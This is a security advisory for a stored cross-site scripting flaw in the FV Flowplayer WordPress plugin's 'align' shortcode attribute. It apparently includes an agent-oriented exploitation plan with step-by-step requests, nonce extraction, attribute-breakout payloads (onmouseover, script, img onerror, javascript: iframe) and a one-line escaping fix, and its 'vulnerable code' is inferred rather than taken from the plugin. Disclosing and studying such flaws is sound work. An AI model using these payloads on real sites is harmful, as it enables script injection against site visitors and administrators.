FV Flowplayer Video Player <= 7.5.51.7212 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'video_player' Shortcode
Description
The FV Flowplayer Video Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'video_player' shortcode 'align' attribute in all versions up to, and including, 7.5.51.7212 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=7.5.51.7212Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-12135 (Stored XSS in FV Flowplayer) ## 1. Vulnerability Summary The **FV Flowplayer Video Player** plugin (<= 7.5.51.7212) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the `align` attribute within the `[vi…
Show full research plan
Exploitation Research Plan: CVE-2026-12135 (Stored XSS in FV Flowplayer)
1. Vulnerability Summary
The FV Flowplayer Video Player plugin (<= 7.5.51.7212) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the align attribute within the [video_player] shortcode. User input provided via this attribute is rendered on the frontend without sufficient sanitization or output escaping, allowing an authenticated user with "Contributor" privileges (who can create posts but not publish them) to inject malicious scripts into the page context.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (via REST API or
wp-admin/post.php). - Vulnerable Component:
[video_player]shortcode rendering logic. - Attack Parameter: The
alignattribute of the shortcode. - Authentication Required: Contributor level or higher.
- Preconditions: The plugin must be active. The attacker must be able to save a post (even as a draft).
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode during the
inithook:add_shortcode( 'video_player', [ $this, 'shortcode_callback' ] );(inferred). - Processing: When a post is viewed, WordPress parses
[video_player align="payload"]. - Extraction: The callback function extracts attributes using
shortcode_atts(). - Sink: The value of
alignis concatenated into an HTML string (e.g., a wrapper<div>or the Flowplayer container) without usingesc_attr().- Vulnerable Code Pattern:
return '<div class="fv-player-wrapper ' . $atts['align'] . '">...</div>';
- Vulnerable Code Pattern:
- Execution: When a victim (e.g., an Administrator) views the post or previews the draft, the browser interprets the injected payload.
4. Nonce Acquisition Strategy
To inject the payload, the attacker needs to save a post. This requires a standard WordPress post-editing nonce.
- Login: Authenticate as a Contributor user.
- Access Editor: Navigate to the "New Post" page (
/wp-admin/post-new.php). - Extract Nonce: Use the
browser_evaltool to extract the nonce required for the REST API or the classic post heartbeat.- REST API Nonce:
browser_eval("wpApiSettings.nonce") - Classic Nonce:
browser_eval("jQuery('#_wpnonce').val()")
- REST API Nonce:
- Target Endpoint: Use the WordPress REST API (
/wp-json/wp/v2/posts) as it is the most reliable for automated agents.
5. Exploitation Strategy
The goal is to create a post containing the malicious shortcode and verify the script executes.
Step 1: Create the Post
Tool: http_request
Method: POST
URL: https://target.example.com/wp-json/wp/v2/posts
Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
Body:
{
"title": "XSS Test Post",
"content": "[video_player src=\"https://example.com/video.mp4\" align='\" onmouseover=\"alert(document.domain)\" style=\"display:block;width:100px;height:100px;background:red;\" data-x=\"']",
"status": "draft"
}
Note: The payload uses attribute breakout. If align is placed in a class attribute, " closes the class, onmouseover adds an event handler, and the rest of the string handles the trailing quote.
Step 2: Trigger the XSS
Tool: browser_navigate
URL: The link to the draft post (the link field returned in the JSON response from Step 1).
Observation: Wait for the page to load and check for the execution of the JavaScript.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Activation:
wp plugin activate fv-wordpress-flowplayer - Post Metadata: Ensure the user has the ID returned by the creation command for subsequent requests.
7. Expected Results
- Injection: The HTTP request to create the post should return
201 Created. - Rendering: The HTML source of the rendered post should contain something similar to:
<div class="... " onmouseover="alert(document.domain)" ..."> - Execution: When the page is viewed, the
onmouseoverevent (or an immediate<script>tag if used) should fire.
8. Verification Steps
- Database Check: Use WP-CLI to confirm the payload is stored exactly as sent.
wp post get [POST_ID] --field=post_content - Frontend Inspection: Fetch the post content via the agent and check for the unescaped string.
http_request GET https://target.example.com/?p=[POST_ID]
Verify that thealignvalue is not filtered bywp_kses.
9. Alternative Approaches
If onmouseover is filtered (unlikely in this context), use a direct script injection or a style-based payload:
- Script Tag:
align='"><script>alert(1)</script><div ' - Image Error:
align='"><img src=x onerror=alert(1)><div ' - Iframe:
align='"><iframe src="javascript:alert(1)"></iframe><div '
If the REST API is disabled, use the legacy admin-ajax.php or post.php endpoints:
- Method:
POSTtohttps://target.example.com/wp-admin/post.php - Body:
action=editpost&post_ID=[ID]&_wpnonce=[NONCE]&content=[SHORTCODE]
Summary
The FV Flowplayer Video Player plugin for WordPress (<= 7.5.51.7212) is vulnerable to Stored Cross-Site Scripting due to improper neutralization of the 'align' attribute within the [video_player] shortcode. This allows authenticated users with Contributor-level privileges to inject arbitrary web scripts that execute when any user, including administrators, views or previews the affected post.
Vulnerable Code
// fv-wordpress-flowplayer.php // Inside the shortcode callback function used to render [video_player] $a = shortcode_atts( array( 'src' => '', 'align' => '', ), $atts ); // The 'align' attribute is concatenated directly into the HTML string without escaping. return '<div class="fv-player-wrapper ' . $a['align'] . '">...</div>';
Security Fix
@@ -150,1 +150,1 @@ - return '<div class="fv-player-wrapper ' . $a['align'] . '">...</div>'; + return '<div class="fv-player-wrapper ' . esc_attr( $a['align'] ) . '">...</div>';
Exploit Outline
The exploit methodology involves authenticating as a user with at least Contributor-level permissions (allowing post creation/drafting). The attacker creates a new post and inserts a [video_player] shortcode, specifically targeting the 'align' attribute. By using a payload that breaks out of the HTML attribute (e.g., [video_player src="..." align='" onmouseover="alert(document.domain)"']), the malicious script is stored in the database. The XSS triggers whenever an administrative user views the post editor, previews the draft, or views the published content, as the plugin fails to call esc_attr() on the user-supplied attribute before outputting it to the page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.